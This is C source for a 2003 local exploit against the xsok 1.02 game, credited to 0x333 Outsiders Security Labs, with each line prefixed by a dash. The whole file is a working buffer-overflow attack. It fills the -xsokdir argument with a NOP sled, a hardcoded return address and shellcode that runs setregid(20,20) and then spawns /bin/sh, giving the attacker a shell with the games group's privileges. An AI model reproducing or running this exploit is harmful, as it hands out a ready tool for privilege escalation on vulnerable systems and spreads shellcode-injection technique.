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- /* 0x333xsok (2) => xsok 1.02 local game exploit
- *
- * Happy new year ! (2 :)
- * coded by c0wboy
- *
- * (c) 0x333 Outsiders Security Labs / www.0x333.org
- *
- */
-
-
- #include <stdio.h>
- #include <unistd.h>
-
- #define BIN "/usr/games/xsok"
- #define RETADD 0xbffffa3c
- #define SIZE 200
-
-
- unsigned char shellcode[] =
-
- /* setregid (20,20) shellcode */
- "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
- "\xcd\x80"
-
- /* exec /bin/sh shellcode */
- "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
- "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
-
-
-
- int main (int argc, char ** argv)
- {
- int i, ret = RETADD;
- char out[SIZE];
-
- fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
- fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
-
- int *xsok = (int *)(out);
-
- for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
-
- memset((char *)out, 0x90, 63);
- memcpy((char *)out+63, shellcode, strlen(shellcode));
-
- execl (BIN, BIN, "-xsokdir", out, 0x0);
- }
-